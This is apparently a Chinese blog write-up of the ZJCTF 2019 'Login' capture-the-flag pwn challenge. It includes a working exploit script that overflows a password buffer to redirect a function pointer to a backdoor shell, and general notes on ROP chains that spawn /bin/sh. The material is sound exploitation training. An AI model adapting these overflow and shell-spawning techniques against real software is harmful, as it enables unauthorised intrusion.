• CTF-PWN-[ZJCTF 2019]Login 栈位置的转换跟踪


    CTF-PWN-[ZJCTF 2019]Login 栈位置的转换跟踪

    来源:https://buuoj.cn/challenges

    内容

    附件:链接:https://pan.baidu.com/s/1uBEYYeg9ouPDEOah-BHGQA?pwd=6si8 提取码:6si8

    答案:PWN题为动态flag

    总体思路

    检查题目逻辑发现执行call的地方

    通过x键检查其被调用的地方发现var130

    通过动调发现该值在栈中的位置,使用题目自带的后门函数完成

    详细步骤

    • 使用pip install sgtlibc安装pwn解题框架

    • 发现是cpp的题目,在password_checker的第9行下断点到判断密码的位置,随后输入用户名admin,密码cylic(300)用于测试溢出点和调用点

    • 题目是比较密码是否等于2jctf_pa5sw0rd,正确则跳转进入 (**a1)()

    • 发现此处的值是aaaa,则我们将密码设置为2jctf_pa5sw0rd\x00 +cylic(300)继续测试。

    • 同时通过回溯call eax的来源,发现其来自于ebp+var130,其在栈上的位置为0x48

      • image-20220623142338508
      • image-20220623142351067
    • 故将payload 改为 b’2jctf_pa5sw0rd\x00’.ljust(0x48,b’\x00’)即可填充到call的位置,再加上p00(shell_addr)即可完成。

    • payload

      • import sgtlibc
        from sgtlibc.gamebox import *
        set_config(GameBoxConfig(
            is_local=True,
            file='./login',
            remote='node4.buuoj.cn:27456',
            auto_load=True,
            auto_show_rop=True,
            auto_show_summary=True,
            auto_start_game=True,
            auto_load_shell_str=True,
            auto_show_symbols=True
        ))
        s = sgtlibc.Searcher()
        elf = client.elf
        pause()
        sl('admin')
        # payload = ['2jctf_pa5sw0rd\x00', cyclic(300)]
        # sla('pass',payload)  # 测试溢出点
        
        
        shell_addr = 0x0400E88
        payload = b'2jctf_pa5sw0rd\x00'
        payload = payload.ljust(0x48, b'\x00')
        payload += p00(shell_addr)
        sla('pass', payload)
        interactive()
        
        • 1
        • 2
        • 3
        • 4
        • 5
        • 6
        • 7
        • 8
        • 9
        • 10
        • 11
        • 12
        • 13
        • 14
        • 15
        • 16
        • 17
        • 18
        • 19
        • 20
        • 21
        • 22
        • 23
        • 24
        • 25
        • 26
        • 27
      • 注意此处填充要使用\x00,否则会导致地址被破坏。

    • image-20220623142746138

    参考文档

    • 常见知识点

      • 汇编

        leave equal mov esp,ebp; pop ebp;

        ret equal pop eip

      • 函数参数

        • x86函数传参:直接从栈上读,且参数在返回地址上方

          栈的执行顺序 ebp+(func1+f1_返回+f1_args)+(func2+f2_返回+f2_args)…

          syscall的话则需要寄存器传参:ebx,ecx,edx,esi,edi,ebp

        • x64函数传参:按 rdi, rsi, rdx, rcx, r8, r9顺序读,后续的从栈上读

          故x64需要调用ROP实现pop将参数从栈中传入寄存器

          内存地址不能大于 0x00007FFFFFFFFFFF,6 个字节长度,否则会抛出异常。

      • ret2libc注意事项

        • 当题目没有设置setbuf的时候,不要用plt.printf,否则不会有回显
        • 注意有时候远程打不通的时候,可能是因为栈没有平衡,找一个ret走一下可能就好了。
      • gdb/pwndb

        • 内存查看

          • p expresion 查看指定数值 /print
          • x 查看各类
            • x/20g address 查数据 /global
            • x/20i address 查反汇编 /
            • x/20s address 查字符串 /strings
            • x/20b address 查字节 /bytes
          • hex查看hex及asciihex address size
          • i r 查注册表 /inspect register
        • vmmap 内存查看

        • 调试

          • ni/下一步 si/进入 c/继续
          • b addr/断点 e addr/enable断点 d/disable断点 q/退出
          • set expression=xxx 设置内存
    • 常用工具

      • pwntools逆向python库
      • Kali
        • checksec:检查样本的基 本信息也可以是通过设置 pwntool.context.log_level = 'debug’得到
        • ROPgadget/ropper:检查文件中可以利用的gadgetrop-chain
          • 静态编译的题基本上都是可以一键生成ropchain的,ropper -f flower --chain “execve cmd=/bin/sh”
          • 注意在python3版本中,生成的chain需要在所有的字符串前面加上b表示十六进制值,否则会出现str不能合并bytes的报错
        • gdb:程序动态调试工具,也可以直接使用ida的远程调试功能
      • libc_searcher:用于retlibc题时候查询其libc版本
        • 在线web查询 推荐的查询器 稍菜一点的查询器
        • 离线python pip install sgtlibc ,使用 sgtlibc ./binary_file func_name:addr func2_name:addr… --dump binsh
        • docker部署离线外部查询环境 docker pull libcyber/srpnode 注意需要更新
    • 教程

    • 常见知识点

  • 相关阅读:
    uniapp插件自定义
    SwaggerSpy:一款针对SwaggerHub的自动化OSINT安全工具
    设计模式:迭代器模式
    JMeter接口自动化测试(数据驱动)
    设计模式-职责链模式
    day59 单调栈.p2
    Jmeter-接口测试-GET请求
    45.【list链表的应用】
    php-fpm基本配置
    PTA 7-178 验证“哥德巴赫猜想”
  • 原文地址:https://blog.csdn.net/m0_37157335/article/details/125426685